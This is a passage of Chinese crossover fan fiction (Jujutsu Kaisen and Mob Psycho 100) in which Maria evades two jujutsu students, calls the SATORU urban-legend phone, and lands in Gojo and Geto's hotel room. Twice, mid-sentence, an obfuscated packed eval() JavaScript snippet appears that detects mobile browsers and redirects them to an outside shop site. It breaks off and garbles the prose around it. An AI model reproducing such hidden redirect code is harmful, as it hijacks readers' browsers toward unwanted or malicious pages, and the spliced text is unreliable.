“而且,现在只有一个麻里小姐准备入住,还有个附近借读的初中生影山茂夫住在这里。”灵幻新隆意有所指,“还有很多空房间噢~” 直接把这公寓变成了玛利亚灯下黑的藏身处。 这家伙甚至把周末放假的茂夫抓来塞进了玛利亚的房间假装屋主——因为要连夜收拾玛利亚的行李显然来不及。 又因为玛利亚那些家具不太听话,还让茂夫用超能力隔绝了咒灵身上的邪气。 不过很可惜,哪怕灵幻新隆大人的完美计划虽然非常完善,但玛利亚根本接不到电波。 但根本没有开窍,她跟在检视人群的后方,只是一脸我懂了(其实没懂)的笑容一边拍手一边点头:“啊,是这样啊。” 灵幻的额头上冒起了青筋——这家伙是木头吗!?还有,你个当事人不要一副看表演的表情! 再这样就让她自己花钱解决。 在想给玛利亚头槌和忍耐之间反复横跳,灵幻的笑容十分紧绷,最后还是忍不住,一手直接勾、不,确切来说是勒住了玛利亚脖子,带着这个木头队友往里面走。 “来,要看房的话请这边请,我们这里什么器械都是齐全的噢——” 西山神父满脸好奇地看向了玛利亚:“玛利亚酱认识经理人?” 提到这个,玛利亚倒是灵光了起来,被勒着脖子的她把脑袋摆成了甩水小狗,双马尾扇着就给了灵幻新隆两巴掌。 她认识的只有灵幻新隆。 这个幻灵旧隆是谁,不知道。 ……最后还是糊弄过去了。 灵幻有心算无心是一方面。 还有一方面是因为玛利亚的特性。 在场的所有人都领教过她身上诡异的招揍气场,虽然总感觉哪里不对,但这样的异常发生在玛利亚身边反而非常正常。 而另一方面。 则是因为两个高专生在灵幻点头哈腰、市侩又熟练地递名片的同时,已经陷入了微妙的沉默与震惊——这个和高专前辈几乎一模一样,态度却截然不同的声线把两个人都震住了。 闭上眼睛的时候,简直就像是夏油前辈在伏低做小…… 拒绝想象奸商夏油前辈的七海露出了胃疼的表情。 而灰原则是一脸惊奇地按下了录音按钮,说什么也要给两个前辈看看这副奇景:“经理人先生可以再说一句‘灰原,你已经这么强了,干得不错’吗?!” ……什么啊。 ‘那个夏油和灵幻声音真的很像啊。’这是玛利亚阿米巴原虫一样的直线思路。 而灵幻并不清楚两个高专生震惊的原因,只是充满服务精神的录了好几句‘伪·夏油的鼓励语音’。 ‘这两个高中生怎么了,是我身上有什么吗?不过……万幸,好像骗过去了。’ 这两个人搞不好根本不需要骗。 唯独在这一点上,玛利亚和灵幻倒是想到一处了。 * 之后也很顺利。 几个学生一进公寓就感觉到了过低的温度,而经理人‘幻灵旧隆’只是自信一笑,说着就抽出了一个装模作样的空调遥控器,啵啵啵地按着,假装调回正常温度。 “……我们配备的中-央空调可是最新的设置,最低可以调节到四五度,怎么样?功效很强劲吧?!哈哈哈。” 而因为麻里姐还没搬进来,他们只能敲响了这里唯一的住户,影山茂夫的居所。 僵硬且无表情的锅盖头接待了两名检查的术师。 “这里什么都没有。”影山茂夫在招呼中间穿插着僵硬的台词,“啊,请多介绍、不,关照,我是从上个月就开始住在这里的……” 而灵幻新隆则是悄悄对着上道的弟子狂比大拇指。 ……搞得跟什么热血运动番的教练弟子似的。 两个高专生没有发现什么异常,还以为是他们吓住了茂夫:“不,我们只是过来检查一下还有没有影响设备安全的东西而已。” 七海建人有些艰难地说着自己都不信的谎言。 毕竟两个术师显然不熟悉这种辅助监督的工作……不过这两边都有些糊弄的态度却诡异地让事情进行了下去。 家里一件私人衣物都没有发现——实际上是女装全被灵幻全都收拾到隔壁麻里家了。 “这小子是极简主义,听过吧?最近很流行的断舍离什么的……”黄发经纪人一巴掌拍在茂夫的肩膀上,打着哈哈。 又发现两个高专生看向了天花板上造型诡异的章鱼。 影山茂夫作为社交弱者回答地非常艰难:“……我的爱好是死亡重金属。” 爱好死亡重金属的极简主义。 ……真的假的? “哎呀~这个‘就是酱’的自动灯,是增值服务噢。”灵幻像个带上了口癖的怪人,说着已经按向了墙上的灯开关,“操作‘就是酱’,按开关也行的。”他的脑袋后面流满了冷汗。 “……舌头没问题吗?”神父有些担心这个经理人。 成年人增长的不止有年龄,也有脸皮,灵幻笑眯眯:“只是刚才咬到了而已。” 而一切检查完毕,两个高专生才有些半信半疑地离开了公寓。 玛利亚这才松了口气,她回头看向公寓。 只看到扶着墙壁气喘吁吁的灵幻对她一脸厌烦地摆手,嘴型还说着自己听不懂的话。 ‘我都这么帮忙……’之类的。 ——看来之后得给灵幻和茂夫钱才行。 她跟着两名高专生离开,一边走一边还在这么想……但这好像应该不算报酬,至少玛利亚没有把它当成等价交换的一部分,她还是第一次没花钱就达到了目的。 说到底。 虽然内心大半时间都没有任何负面情绪,但玛利亚自己也不太明白。 那种想要给予他人自己看重之物的想法,到底是什么呢? 让人心情如此轻快。 它躲在各式不同的正向情绪里……真是难以分辨。 这就是友情吗? 玛利亚难得有些焦急——等之后想要问问灵幻。 * 而确认了已经没有加深感染的可能性,西山神父放心了下来,在请玛利亚吃完晚餐之后就启程回了乡下。 顺便一提。 是玛利亚没吃过的,超级高级的家庭餐馆!真的有大块牛肉的咖喱牛肉炒饭! 虽然不知道为什么……吃饭的时候好像所有人都对她投以了同情的表情。 而高专生和玛利亚这边,辅助监督下午拜访了一下房东的家人,得到了差不多的结论——房屋已经交给专业的经理人和保安了。 这倒是和灵幻的剧本对上了。 不过当时交给玛利亚的委托,本身就是灵幻和现任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200265|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房东商量好的,所以能对上也很正常。 当然,也可能是玛利亚诡异的‘运气’,不过因为玛利亚本人也不清楚原因,也没什么讨论的必要性了。 总之。 老房东已经火化,实在没法检查那个霉菌的感染链条,但他们将老房东的一部分遗物交给了辅助监督。 就看他们能得到什么结论了。 这边的事情解决得很快。 所以,很快就又到了要工作的时间点。 * 虽然在玛利亚和两个高专生看来,这个工作早就不是当前的第一优先了——当然,两边这么想的原因完全不同。 高专生是焦急地等待前辈。 而玛利亚则是一门心思想着逃跑的事情,脑袋里坏主意一个接着一个。 既然确认了昨天是玛利亚的术式‘搞鬼’,他们干脆划掉了第一个、和第二个电话亭的完成进度。 而经过了晚餐时间的商量——出乎意料,是神父在分别的时候给了两个高专生建议。 毕竟是信徒,对于许愿这种事情多少也算得上手到擒来。 西山神父举起食指:“祈祷的时候,如何描述愿望也是很重要的。” 模糊的期待——是不自觉地期待神父的安全,所以西山神父在附身状态被唤醒了,还遇到了两个高专生。 这需要操纵大量的变数,所以消耗很大,需要五千円左右。 而明确的祈祷。 则是在知道霉菌的附身原理的时候,只请求求神父不会被-干扰。 玛利亚无意识操纵的东西相信会少很多。 “自己的想法过度模糊的话,上帝也会不知道怎么办吧?” “……抱歉,我是无神论者。”明明是个术师,七海答得意外干脆,“而且玛利亚那个笨蛋和神明这类东西差太远了。”察觉到对方的信者倾向,金发高专生皱起了眉头。 总之。 西山神父建议——想要修正玛利亚干预电话的情况,解法非常简单。 ……七海和灰原花钱追加许愿不就好了吗? 玛利亚初始得到的指令是拨通电话,找到叫SATORU的目标。 而追加许愿的话…… 除了今天的预支薪水,玛利亚看向七海建人递来的钱币,没太明白。 “虽然都是打给SATORU君,我希望玛利亚可以碰巧先拨通我和灰原期待的那个。”七海建人给出了插队的指令,“或者说是,会帮助这次工作结束的那个……吧。” 他缩小着描述范围。 而玛利亚思考了片刻,只在金发高专生手里拿起了一张千円纸币。 “感觉上……这样就够了。” 应该? * 玛利亚又一次钻进了电话亭,她已经想出了完美的逃跑路线。 兼职内容:‘打电话’ 可供玛利亚支配的金钱:22万零五千円(*1万左右人民币)。 十二点到了——她往公用电话里投入了十円。 和之前一样,电话里先是显出了忙音,然后在玛利亚的期待之下,变成了拨通的长音。 玛利亚轻车熟路地翻开了工作手册,前四页的东西再熟悉不过,所以玛利亚直接翻到了第五页。 眼熟的工作手册里还写着一模一样的指示语句。 [请根据电话里给出的反应翻页——] [①-电话的那头没有任何声音?翻至第6页;] [②-是否听到了唾液、咀嚼声?请翻至10页;] [③-是否听见了呼吸声?翻至14页;] [④-是否听见了你自己的名字?请翻至30页。] 这次拨通中的长音拖得特别久。 然后公用电话狭窄的单色显示框从[~拨号中~]咔呲一声变成了[~通话中~]。 但玛利亚却没听到这四种反应中的任何一种,既不是没有任何声音,也不是咀嚼声、呼吸声之类的。 因为在等到有人接起之前,玛利亚最先听到的,是某种像是信号干扰,或是磁带老化的刺耳声音。 她站在漆黑中的电话亭里,听着话筒那头像是唱片被磨花了、刺耳的金属刮擦声。 “SATORU君,SATORU君,我同意交易……”但玛利亚没有多想,打算先走完流程。 完成这个工作就可以跑路了。 但她的话还没有说完。 那阵诡异的刮擦声突然停了下来,像是终于找准了频道一样,电话里的频道变得‘干净’了下来,紧接着某种沉重的呼吸声响了起来。 姑且把那归类为选项③? 玛利亚翻到了第十四页。 但这一页,指示却非常模糊—— [请回答:“看到了。” 然后在电话时长耗尽之前说出你的问题。] 没想明白这算是什么应对,玛利亚歪着脑袋,微微皱起了眉头——而在沉重的呼吸声中,先是某种反复砸肉的声音,接着、沉重的东西落地,然后一个中年人的声音响了起来。 [是谁躲在那里!] ……这是什么? 玛利亚有些怀疑自己又拨错了电话。 [喂喂……你看到了吧?] 不过好歹是和手册对上,她按照指引回答:“看到了。” 电话那边的呼吸声变得更加急促了起来……声音简直像是在逐渐靠近话筒一样,玛利亚先是听到了咔呲、叮铃哐啷的金属声,然后才是语气里充满威胁,但有些口齿不清、让人搞不懂的说话声。 [……胆子真(挥击声)……(砸肉声)……哈哈……没办法了……(碰地一声)] 电话那头的声音十足暴躁,只是不停重复着:[……你在哪里?!]这种意义不明的句子。 而不知道该怎么回答,手册上也没有指示,所以玛利亚只是把自己的问题抛了出来:“箱子在哪?” 但和昨天认真的心态不同,虽然急于找到箱子,但玛利本来就不知道SATORU君的传说,更是无从期待起正经的回答。 更不要说她这会儿关心的,只有一会儿该怎么给高专生上演人间蒸发戏码这档子事。 ……她的预算是一万,应该能成功吧?毕竟操纵无限循环的走廊都成功了。 在脑袋里反复期待着想要实现的‘愿望’,玛利亚根本没在认真听电话。 所以问完了问题。 她就盯着公共电话里的通话倒计时看了起来。 还有二十秒。 但和她的毫无期待不同——暴躁的中年声音吐-出了这样的话。 [……回答的话,就可以过来找你是吧?] 接着是沉默。 然后,在电话被挂断之前。 针对箱子到底在哪里,一个名字被吐了出来。 [伏黑甚尔。] ……啊?玛利亚睁大了眼睛。 这是谁? 不是,这个家伙真的会回答吗?还是自己又不小心打到了奇怪的电话? [找到了。] ——咔嚓。 随着通话时长耗尽,电话被挂断了。 24.拨号指南 所有的一切都因为电话联系在了一起。 玛利亚在公共电话亭里接通了电话,却得到了意料之外,且意义不明的回答。 她听着电话里的忙音,最后只能半懂不懂地挂断了电话。 事情发展到现在,即便玛利亚对SATORU君的本质一无所知,也当然察觉了不对劲。 这是灰色的工作……电话那头告诉自己的名字,搞不好真的和自己问的问题有关。 但是那边到底是什么人,或者是妖怪,或者是幽灵呢? 听上去对面好像在打架的样子,到底是怎么回事啊。 他说的‘给自己答案,就代表同意他过来找自己’……就是跟SATORU君的交易吗? ……说是SATORU君,我还以为会是年轻人呢。 但玛利亚这会儿没有多犹豫的空闲。 按照工作手册,她在打完电话之后需要等待15分钟——但玛利亚早把这个时间‘分配’了出去。 因为十五分钟之后,她将表演人间蒸发。 * 而这么想着。 金发双马尾的笨蛋抬头看向了电话亭外的黑暗,虽然看不清两个高专生,她仍然伸-出胳膊跟他们比出了个代表‘拨号成功’的大大的O。 她假意等在了电话亭里,手却没有闲着。 玛利亚从口袋里抽出了几张提前支付的薪水——将不同的面额,1万、五千、两千、一千还有五百硬币均匀摊开,摆在在了供给市民记笔记的小台子上。 虽然现在还搞不太清楚用法…… 总之,玛利亚姑且按照工作手册一样给自己定好了章程。 这还是她第一次尝试清醒地‘许愿’。 先明确地想好要实现的愿望——以最不造成异常、对现实干扰最小,最低耗的方式。 首先是要离开娜娜明和灰原的监视。 其次是可以搜查真理亚的事情和箱子的去处。 不、还是把箱子放在第一优先级吧。 玛利亚的余光瞥向了电话亭的门,重申了一遍自己的想法——在打开这扇门的时候,请把我带到有真理亚和箱子线索,并且暂时摆脱娜娜明和灰原的地方。 然后她这才从口袋里摸出了之前指引着自己来到调味市的占卜水晶(已经缺了一个口子),将九成新的它悬在了摆开的不同面值钞票的上方。 她以身体挡着外面高专生的视角,因为也不太清楚该怎么运转咒力或是什么别的……总之问自己就可以了吧? 我要实现这个愿望的代价是……? 虽然感觉用手也行,但是这是玛利亚第一次清醒施法……总感觉稳妥一些比较好。 而事实也并不让她失望……玛利亚眼见水晶晃晃悠悠地飘了起来,最后悬在了一万日元上。 玛利亚沉默了片刻。 “不行,太贵了。”她嘀嘀咕咕和自己的术式讲起了价。 不仅如此,金发财迷还不太信邪的把一万円收走,直接去掉了一个最高分,重新让水晶选—— 到底多少钱? 水晶干脆利落就指向了玛利亚揣钱的心口口袋,钱包的所在地。 还是一万。 不想相信这个价码,玛利亚索性把占卜水晶收了起来——果然磕坏了之后就不准了吧——她决定自己决定价格。 她以手悬空在剩下的几张钞票上感知了片刻。 一万的感觉像是五星级服务似的,还带售后服务。 而五千给人的感觉像是老板拿着大喇叭喊‘六折清仓!错过这次就没有下次了!哎呀,客人,这个价位真的没法赚了……’。 相对之下,一千就有些萎靡了——活像是钞票上的肖像人物坐在原地抽烟,想了很久才咬咬牙跟自己说:‘行吧,我试试……’尾音还得带上点心虚的感觉。 而更小面值的硬币直接对玛利亚关上了交易大门。 “真的不行吗?” 钱币没有给她回应。 ……行吧,就你了。 她选择消费更小的一千円。 所以,玛利亚将其它钱重新收进了钱包,把最弱小的那个一千円攥在了手心里。 十五分钟的时限很快就到了。 就算是站在电话亭里,玛利亚也能看到逐渐靠近的娜娜明和灰原,所以她笑眯眯地和他们招手—— 抱歉,我还有更重要的事情要去做…… 玛利亚用攥着钱的手直接推开了电话亭的门。 启动!虽然不知道启动什么,总之启动! 手心的钞票燃烧了起来,染着白色灵气的火焰包裹住了她的手——生效的暖意传来,金发笨蛋得意抬起了嘴角。 从打开的门缝隙里,已经出现了和街景截然不同的室内景色,正在被慢慢展开的门那边似乎是一处陌生酒店的标间。 永别了(暂时),牢笼。 我会给你们带特产的,娜娜明、灰原还有大家。 她面上带着‘你们肯定不懂吧’的神秘笑容——当然,这是玛利亚自以为的。 玛利亚前半只脚踏出了电话亭,但脚却没有踩在电话亭外面的地面上,而是一个房间的地毯上。 隔着玻璃,两个高专生只看见玛利亚带着有些犯傻的笑容开门迈步。 然后消失在了门缝里。 而来到了门这边的玛利亚,发现自己正握着酒店标间洗手间门的把手,站在一个套间里。 还没来得及搞清楚这间酒店套间和钱箱的情报有什么关系—— 膨胀的她甚至还没来得及得意一会儿。 玛利亚就和酒店房间里一黑一白的两个大高个对上了视线。 白的那个正四仰八叉地倒在沙发上玩便携式游戏机。 而黑的正靠在标间其中一张单人床床头,手里正翻阅着一摞文件。 两个人都抬起了脑袋—— 玛利亚的愿望……确实实现了。 * 本来不算狭小的酒店房间,因为两个大高个的占据,不知怎么地变得有些狭小-逼仄起来。 而玛利亚完全没感受到这种无形的威慑。 沙发上,发现突然出现的玛利亚,五条悟有些惊讶地诶了一声,他从游戏机里抬头,墨镜被推到了头顶:“……哇噢。” 但在玛利亚看来,这个有些面生的白毛大眼睛只是露出了有些费解的表情,盯着自己皱起了眉头。 “……”而夏油杰则是看了一眼玛利亚,低头看了一眼手里文件里的照片,然后又抬头看向了玛利亚。 然后,应该辨认了出了这只金发打工仔,黑发男高露出了笑容:“……是铃木真理亚小姐,对吧?” ……怎么感觉有点不对劲。 毫无危机感,但玛利亚总感觉这和自己想要的不太一样。 深夜酒店洗手间钻出一个大活人,但这两个家伙的反应,完全和正常沾不上任何边。 玛利亚的脑袋疯狂运转,加载中的图标都快转出了火星子。 她好一会儿才在有些漏风的脑袋里检索到了匹配项目。 噢噢——! “……白毛大眼睛!”毫无作死观念的家伙直接指向了五条悟,“超级高的那个——!” 然后她看向了旁边的夏油杰:“等等,你这是……” 这个……玛利亚盯着夏油杰的丸子头和怪刘海看了半天。 “啊、下颌线。”她反应了过来。 “我不叫下颌线噢,你就是玛利亚酱,铃木真理亚……是吧?”那家伙笑眯眯的,身边的半空中却已经出现了奇怪的咒力波动,和从奇怪裂缝里爬出来的咒灵。 STOP。 玛利亚抬起两手比出了暂停手势,掰着手指陷入了思考。 等等。 ……给我带哪儿来了? 玛利亚既不想点头,也没法说出不是,她掰着手指陷入了思考——情绪还没跟上,但脑袋已经代入公式得到了结果。 这不是、完全、搞错了吗!? 啊。 虽然不知道该作何反应,但是脑袋总感觉在发送完蛋的信号。 我……是不是撤回一下动作比较好? 而这么思考着。 金发打工仔已经趁着只有自己同意的中场暂停,丢出水晶像是钟摆一样摇晃了起来。 她嘴里念叨着‘没有看到我、没有看到我’,双腿已经飞快往来时的‘任意门’前进了。 玛利亚往门把手上一摸,却好像碰到了奇怪的空气墙,不管怎么够都碰不到那个圆咕隆咚的把手。 所以她抽出了钱包。 ……早知道就选一万。 不。 早知道就选五千档位了! 吝啬鬼第一次尝到了非常细微的后悔。 但梳着丸子头的那个已经三步并作两步靠近,居高临下地把玛利亚堵在了洗手间门前——黑色影子直接罩住了玛利亚还在擅自跑马车的脑袋。 玛利亚抬头,能看到的只有夏油杰有些背光的脸和微微盖过来的肩膀。 “玛利亚酱。”高专二年生语气柔和,但不管是不到眼底的冷淡笑容,还是以咒灵挡住玛利亚所有去处的姿态……都不像是很友好的样子,“为什么会突然出现在这里呢?” 夏油杰对玛利亚用着敬语,面上带着笑容,声线十分平和。 但没神经的金发笨蛋却感觉……很奇怪,比那些一见面就给自己头槌的家伙还要奇怪的感觉……危机感?敌意?审视? 不知道诶…… 对负面感情不太敏感,所以玛利亚根本没法分辨。 “……不想用敬语的话不用也可以的。”她一如既往的重点偏移,“我不是很在乎那个。” 要不然让他打头好了? 而直到这会儿,另外一个白发的大高个,五条悟才从夏油杰的肩膀后方伸了个脑袋出来。 五条悟一脸新奇地盯着玛利亚,像是这会儿才把她看清楚了。 他摸出了手机,啪嚓一声给玛利亚拍了一张照片,一边盯着手机荧幕,一边发出了惊讶的哇哇声。 “喂……骗人的吧?这不是超级有意思吗?”五条悟面上全然是来劲的笑容,把胳膊搭在了夏油杰的肩膀上,“你怎么是个钱箱啊?” 两个大高个把她堵在了窄巷子里。 玛利亚这才发现自己身前是高专生和咒灵,身后是个奇怪的透明障壁。 而五条悟已经嘀咕起了‘会说话的诅咒?’‘不……看上去是咒具的样子,呜哇……’‘到底是怎么长出腿的?’‘啊、拍得出来人影,神奇,到底怎么做到的。’这种事了。 而夏油杰没顾得上惊讶。 他只是将嘴角勾到了习惯的固定角度,对着玛利亚微微低下脑袋。 “回答呢?玛利亚酱。” “……是?” 被抛过来的问题太多,玛利亚有些卡壳。 是直到手机来电的声音响起——她才反应过来,金发笨蛋眨了眨眼。 * 玛利亚就这样在眼前消失了。 七海建人和灰原都吓了一跳。 他们两个人都第一时间冲进了电话亭里,除了玛利亚留下的工作手册,电话亭里什么都没有。 之前两人都感觉到了两股奇怪的咒力波动,一股是玛利亚的,而另一股非常陌生。 “……刚才应该确实是打给了‘悟君’,对吧?”灰原已经担心了起来,“悟君的传说里有会把受害者带走的流言吗?” 反倒是七海感觉到了什么不太对劲:“虽然有……不、我想应该不是这样。” 好像漏掉了什么。 ……什么都会为你解答的SATORU君这一都市传说,确实存在会将受害者带走的流言。 事实上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210067|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 市面上大部分关于悟君的传说总体来说分为三种。 悟君是一个小孩,在接通电话之后,他会给你的家庭电话或是私人电话回电——而在这些联络里。 这个悟君会不停通报自己的位置,由远到近。 从远处的都市、到本市的街角、你家的楼下、门外…… ……直到它来到你的身后。 而在当它来到你的身后,打电话的人就可以询问自己好奇的问题了。 而如果你并不是真心想要提问、擅自回头看悟君、或是早已经知道了答案,明知故问的话。 悟君就会把你的脖子拧断。 “也有说会把受害者带到魔界的……但那也是在悟君找上门‘之后’会发生的事情了。”七海建人皱起眉头,开始翻动玛利亚遗落的工作手册。 而灰原则是双手抱胸:“可是不是不是还有说悟君其实是个女性的说法吗?还有大叔、老头来着。” 七海建人第一时间就否认了最后一个。 “悟君是老人的说法并不会将受害者带走吧?”那是都市传说最柔和的分支——差不多就和‘让我们问问神奇海螺’一样的危险程度。 要说那是都市传说,不如说是童话故事了。 不过,另外两个分支…… 确实不无可能。 毕竟存在这样分流的都市传说。 一说悟君其实是一个惨死的女性,她十分介意自己丑陋的死相有没有被人看到。 而在这种情况下。 就要对‘悟君’回答——我没有看到。 作为交换,这位亡灵就可以回答你的问题,但是要是回答‘我看到了’,就会被咒灵带走。 而另一种说法则完全相反。 据说悟君是个被现场击毙的残暴连环杀人犯。 而他的动机,据说是在犯罪被人当场发现之后,追着对方灭口,但是随着错漏百出的行动,出错的地方越来越多、越来越多。 看到的人多得杀不过来。 ……按着都市传说,这是悟君最险恶的一种流言演变方向。 想要提问的人必须告诉这个‘悟君’自己看到了他犯罪的样子……然后追来灭口的凶手会让你死个‘明白’。 这个传说目前还没有幸存者,是以,所有人都不知道它到底是怎么传出来的。 而如果要把被咒灵杀死的失踪也算在内的话,那确实……受害者的尸体会被带走。 但是两个人现在却又没有看到玛利亚被袭击的瞬间。 灰原总感觉有些不妙:“……又不是犯罪集团,一个都市传说也太多变体了吧。” “本质是被窥视、还有骚扰的恐惧吧,而且咒灵本来就是这样……”七海建人倒是很能理解这个状态,“又不像人类一样有着固态的形体,经常会变成弗兰肯斯坦。” 总是一起提及、本质相近的话,就会擅自混在一起,成为某种缝合怪。 不过按照刚才看到的咒力波动…… “玛利亚打电话的时候,自己的咒力并没有造成很大的干扰……我想,电话应该是拨通给了其中一个SATORU君才对。” 她到底是打给了哪个SATORU呢? 反而。 两个高专生是在玛利亚准备离开电话亭的时候,才看到她身上的咒力波动的。 此刻,还没能明白玛利亚肚子里的坏水,两个高专生只是在担心而已。 要是灵幻在这的话,可能会同情被傻子骗的傻子。 灰原比较乐观:“搞不好是咒灵想带走玛利亚,但是她的术式发动了!” 对了一半,但动机错误。 “……确实。”而七海皱起眉头,“毕竟她身上还有钱,应该还没有生命危险。” 状态对了,但把玛利亚想得太老实了。 不过,两个一年生都冒起了一丝疑惑。 ……如果是她的术式发动,为了躲避咒灵而逃跑了,又会逃到哪里呢? 两个高专生完全不知道玛利亚在躲避的对象正是他们自己。 灰原提出了一个看似笨蛋,实则聪明,刻舟求剑一样的提议:“应该是我们一起去过的地方吧。” 他手脚并用。 ……其实灰原基本上都是瞎猜。 “一般来说不是这样吗……和朋友在公共场合走散的话,就去之前一起去过的集合点。” “……怎么可能。” “但是七海现在也没有别的提议吧?” 三七分DK无法反驳,只能臭着一张脸。 也因为这样——虽然计划有些荒唐,两人还是委托辅助监督等在这里,他们两人先去今天白天去过的餐厅、公寓之类的地方看看,有没有玛利亚的痕迹了。 也正是这样。 两个高专生…… 即将、 光临夜间的空置公寓。 * 想要抽烟,却发现口袋里已经什么都没有了。 黑发男人啧了一声。 虽然已经有一段时间没有回到业界。 但因为赌光了口袋里的家财,刚重新开业,找了个灰色兼职热手的术师杀手,伏黑甚尔还是第一次遇到这种情况。 标的物到手了。 轻而易举。 解决了那边碍事的两个自杀路人就拿到了。 “真是的……要死就痛快去死,挣-扎做什么?”现在想起那个横生枝节的工作,伏黑甚尔还有些想要抱怨。 不过,即便他一开始并不知道这玩意儿的高佣金、指名自己接手到底是为了什么。 ……不过现在伏黑甚尔知道了。 这么想着,他看向了自己身边那个一角还沾着血,造型精美,以大量金丝镶嵌着奇怪咒符的功德箱。 这东西没有办法轻易脱手。 ……它‘缠上’了自己。 25.价值交换1 ……这个委托目标缠上了自己。 伏黑甚尔这么说,并不是这个箱子会突然长腿变成大活人出现在自己身边的意思。 他自己并没有被诅咒的感觉(他本身也无法被诅咒就是了)。 而是指这个箱子根本无法脱手——它自身像是有着意识,有不想去的地方,刻意回避着被转手一样,不管怎么努力,都无法将这东西交给雇主。 先是雇主的代理人在收货前突然遭遇车祸横死。 然后,是说要见面交货,灰兼找来的经理人却死活找不到自己位置,两个人在无法相遇的状态绕了一周。 实在没有办法,伏黑甚尔只好试图把它放在所有人都可以轻易获取的地方——但很快就他就带着箱子在山里迷了路,虽然看得到山下的灯火,但怎么样都没法回到马路上,树林像是在自己的身前不停延长,变成得无法到达。 折腾了半天,还是放弃了这个方案,还揍了个路边的倒霉蛋才终于坐上车。 此刻,曲腿坐在皮卡车斗里的伏黑甚尔,双肘搭在自己的膝盖上,他双臂懒洋洋地前伸,歪头看向了那个缠上了自己的标的物。 那是一个染着血的古董功德箱——除开箱子上的装饰和很有年头的质感之外,它上面唯一引人注目的就是箱子其中一角沾上的血迹。 这是那个碍事的中年女人拿起来,砸死自己女儿时候沾上的血迹,而不知道为什么,现在这个血迹像是刻在了木箱身上,无论如何都无法擦干净。 尝试过的伏黑甚尔笑得有些嘲讽:“……嗤。” 猴子之间也会发生这种事情,真是无聊。 而这个箱子的诡异之处并不止这点。 轻轻摇晃的话,能听到里面叮咣的钱币响声,但从投钱的入口缝隙却无论如何都看不到里面有什么。 只有一片黑暗。 虽然伏黑甚尔看不见咒灵,却也能感觉到里面有些异质的威胁感。 ……麻烦死了。 还不如回去干杀手的活计,来钱还快。 果然,这种价位还专门指名,啧。 真是搞不懂闲到需求这种诡异钱箱子的有钱人。 懒洋洋的黑发男人一脸嫌弃,他焦躁地抓了抓自己的头发,先是踹了一脚小型皮卡的驾驶室,示意被自己揍得脸皮青肿的无辜路人赶紧开车。 等到皮卡颤颤巍巍地发动了。 伏黑甚尔才摸出了自己的sim卡,插-进了倒霉皮卡司机的电话,联系上了掮客:“喂,你们到底打算怎么交货。”已经完成了属于自己的部分,这家伙没什么好气,“想不到方法的话我就把这个东西拆掉了。” 反正就算是奇怪的咒具或是诅咒,用天逆鉾破坏的话,应该也会解体吧。 ——没法交货就没法拿钱,还不如当成没偷到算数。 电话那头显然知道伏黑甚尔这副德行,声音焦急了起来:[啊啊啊、那可不行!] “那我随便丢给路人,你们抢去吧。”这么说着黑发男人就想从皮卡上跳下。 但这也被连忙拒绝了:[本来就是因为只有伏黑先生能无视咒力的干扰才指名委托的……] 灰色兼职很显然没有应对伏黑甚尔这种从事黑色相关的人物的经验。 而脸皮颇厚,伏黑甚尔歪着脑袋:“这东西到底是什么?应该值不少钱吧?” [啊啊、这个,就是……]对方顾左右而言它。 伏黑甚尔没有耐心听那么多废话,他屈起中指敲了敲木头。 咚咚两声。 [知道了就不能靠近它了……唉、真的不能说啦。咳咳,伏黑先生不用担心,我这次安排了个什么都不知道的跑腿,交货肯定没有问题的!] 电话里的掮客低声下气地说起了这次的交货计划。 为了安抚伏黑甚尔,他甚至许诺了提前付70%尾款,有些紧张地找着话题打发时间,应付这个难得过来干简单活计的术师杀手。 [那、那个!对了……说起来,伏黑先生的老相识,就是那个,那个谁,姓孔的韩国人……] 电话那头提起了之前曾经和禅院甚尔合作的孔时雨——伏黑和他过去干的是更加混沌、偏向黑色那边的生意。 [听说他最近傍上了了不起的家伙——应该是什么民间宗教组织,盘星?还是什么教来着,伏黑先生有听过吗?] 伏黑甚尔当然知道对方是在转移话题。 但听到对方抛来的挣钱门路,黑发男人的焦躁多少也被消除了一些。 他挑起眉毛,换了一边耳朵接听电话:“噢。” 姑且表示自己在听。 [据说最近在招募合适的杀手,到处广撒网……您返回业界的事情还没什么人知道吧?这样吧,我把您现在的电话号码转给孔时雨……] 事情就这么定下了。 当然,前提是他得先甩脱这个箱子才行。 * 而高野山,两个高专生落脚的酒店。 已经被逼到了极限。 玛利亚的脑袋转得飞快——‘你就是真理亚吗?’‘为什么、到底是怎么来到了这里?’‘钱箱到底是怎么回事?’ 虽然也编不出漂亮的谎言,但不管是哪个问题,玛利亚都不想回答。 索性电话及时地响了起来,站在包围圈里的金发笨蛋直接就举起了手:“那个、要揍我的话,可以先让我接个电话……” 不过玛利亚的话还没有说完,就已经被好奇的五条悟一拳轻轻砸上了头顶。 她哐当一声咬到了舌头,只能撇着嘴哈气。 而白发高专生已经重新给自己戴上墨镜:“诶~怎么可能让你轻易逃掉啊。”笑出了一嘴鲨鱼齿,五条悟这会儿简直跟个恶魔似的。 旁边的夏油杰更是已经挂上了半永久的笑容。 “让我们听听也无妨吧?玛利亚酱。”黑发男高脑袋凑了过来,刘海擦在玛利亚脸上有些发痒,他直接抓住玛利亚手里的手机,帮她按下了接听键。 灵幻新隆的声音立时就在酒店房间里炸响—— 和夏油杰完全一致的声线先是吸引了男高们的片刻注意,但很快,其对话就变成了重点。 